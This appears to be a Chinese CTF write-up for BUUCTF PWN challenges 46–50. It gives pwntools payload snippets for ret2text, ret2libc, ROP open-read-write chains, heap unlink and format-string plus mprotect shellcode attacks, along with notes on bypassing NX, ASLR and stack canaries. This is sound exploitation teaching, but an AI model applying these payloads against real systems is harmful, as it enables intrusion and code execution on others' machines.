1. BUUCTF PWN 46-50通关手记
作为CTF竞赛中极具挑战性的题型,PWN题目往往涉及二进制漏洞利用的实战技巧。最近在BUUCTF平台上刷题时,我系统性地研究了46到50这五道PWN题目,发现它们涵盖了从基础栈溢出到高级ROP链构造的完整知识体系。本文将详细记录每道题的解题思路和具体payload构造过程,特别适合正在入门二进制安全的同学参考。
重要提示:本文所有实验均在BUUCTF提供的隔离环境中完成,实际漏洞利用时请务必遵守网络安全法律法规。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 题目46:基础栈溢出与ret2text
2.1 题目环境分析
首先检查题目提供的二进制文件:
bash复制checksec --file=pwn46
[*] '/tmp/pwn46'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
关键发现:
- 32位程序
- 未启用栈保护(No canary)
- 代码段固定地址(No PIE)
- 存在NX保护(不可执行栈)
2.2 漏洞点定位
使用IDA反编译后,发现main函数中存在明显的栈溢出漏洞:
c复制char buf[16];
read(0, buf, 0x100); // 明显超过buf的16字节容量
2.3 利用方案设计
由于程序本身存在后门函数get_shell(),我们可以采用ret2text技术:
- 计算溢出偏移量:通过cyclic工具确定padding长度为24字节
- 获取后门函数地址:
0x8048520 - 构造payload:
python复制payload = b'A'*24 + p32(0x8048520)
2.4 实际利用中的坑点
- 需要处理标准输入问题:添加
p.sendline(payload)而非p.send(payload) - 本地测试时注意关闭ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
3. 题目47:ret2libc实战
3.1 防护机制分析
这道题开启了NX保护,因此需要采用ret2libc技术:
bash复制checksec --file=pwn47
[*] '/tmp/pwn47'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
3.2 利用步骤详解
- 泄漏libc地址:
python复制payload = b'A'*24 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendlineafter('input:', payload)
leak = u32(p.recv(4))
libc_base = leak - libc.sym['puts']
- 计算system和/bin/sh地址:
python复制system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
- 构造最终payload:
python复制payload = b'A'*24 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
3.3 调试技巧
使用gdb附加调试时:
code复制gdb.attach(p, '''
b *main+45
c
''')
4. 题目48:ROP链构造艺术
4.1 题目特点
这道题限制了可用字符,要求构造更精细的ROP链:
- 仅允许可打印ASCII字符
- 需要组合多个gadget完成利用
4.2 Gadget搜索策略
使用ROPgadget工具:
bash复制ROPgadget --binary pwn48 --only 'pop|ret'
0x0804853a : pop edi ; pop ebp ; ret
0x0804853d : pop esi ; pop edi ; pop ebp ; ret
4.3 分阶段利用
- 泄漏libc基地址
- 构造open-read-write链读取flag
- 组合多个gadget实现参数传递:
python复制rop = ROP(libc)
rop.open("flag", 0)
rop.read(3, heap_addr, 0x100)
rop.write(1, heap_addr, 0x100)
5. 题目49:堆漏洞利用初探
5.1 堆布局分析
这道题引入了堆漏洞:
c复制ptr = malloc(16);
read(0, ptr, 32); // 堆溢出
5.2 利用思路
- 构造虚假chunk
- 触发unlink修改全局指针
- 实现任意地址写:
python复制# 构造虚假chunk
payload = p32(0) + p32(16) + p32(ptr-12) + p32(ptr-8)
payload += b'A'*8 + p32(16) + p32(0x1c)
6. 题目50:综合挑战
6.1 多重防护突破
这道题结合了:
- 栈随机化(PIE)
- 堆保护
- seccomp沙箱
6.2 分步利用方案
- 通过格式化字符串泄漏程序基址
- 构造ROP链绕过NX
- 使用mprotect创建可执行区域
- 注入shellcode实现完整控制
python复制# 关键payload结构
payload = fmtstr_payload(offset, {write_addr: target_value})
rop = ROP(exe)
rop.mprotect(page_start, 0x1000, 7)
rop.call(shellcode_addr)
7. 通用调试技巧
7.1 GDB增强配置
在~/.gdbinit中添加:
code复制set disassembly-flavor intel
set follow-fork-mode child
source ~/peda/peda.py
7.2 实用命令组合
code复制# 查看内存映射
vmmap
# 搜索内存模式
find "/bin/sh"
# 检查堆状态
heap chunks
7.3 自动化脚本模板
python复制from pwn import *
context(arch='i386', os='linux', log_level='debug')
def exploit():
p = process('./pwn50')
# 具体利用代码...
if __name__ == '__main__':
exploit()
8. 防护机制对抗手册
8.1 针对NX的绕过方案
- ret2libc
- ret2plt
- mprotect+shellcode
- ROP
8.2 对抗ASLR的方法
- 信息泄漏(GOT表、栈地址等)
- 暴力破解(适用于低熵环境)
- 部分覆盖(针对32位系统)
8.3 绕过Stack Canary
- 格式化字符串泄漏
- 覆盖TLS中的canary值
- 劫持__stack_chk_fail
9. 工具链推荐
9.1 静态分析
- IDA Pro(商业)
- Ghidra(NSA开源)
- Binary Ninja(商业)
9.2 动态调试
- GDB + peda/gef/pwndbg
- radare2
- QEMU+gdbserver
9.3 漏洞利用
- pwntools(Python库)
- ROPgadget
- one_gadget
10. 学习路线建议
10.1 基础阶段
- 《程序员的自我修养》-- 理解ELF格式
- 《深入理解计算机系统》-- 掌握底层原理
- x86汇编语言(王爽版)
10.2 进阶路线
- 《漏洞战争》-- 实战案例分析
- 《CTF竞赛权威指南》-- 系统化知识
- 定期参加CTF比赛(如BUUCTF)
10.3 专项突破
- Linux内核漏洞利用
- Windows漏洞利用
- 浏览器漏洞利用
在实际解题过程中,我发现BUUCTF的PWN题目设计非常贴近真实漏洞场景。特别是第50题的综合挑战,让我对现代漏洞利用技术有了更立体的认识。建议初学者按照题目编号顺序练习,逐步构建完整的知识体系。
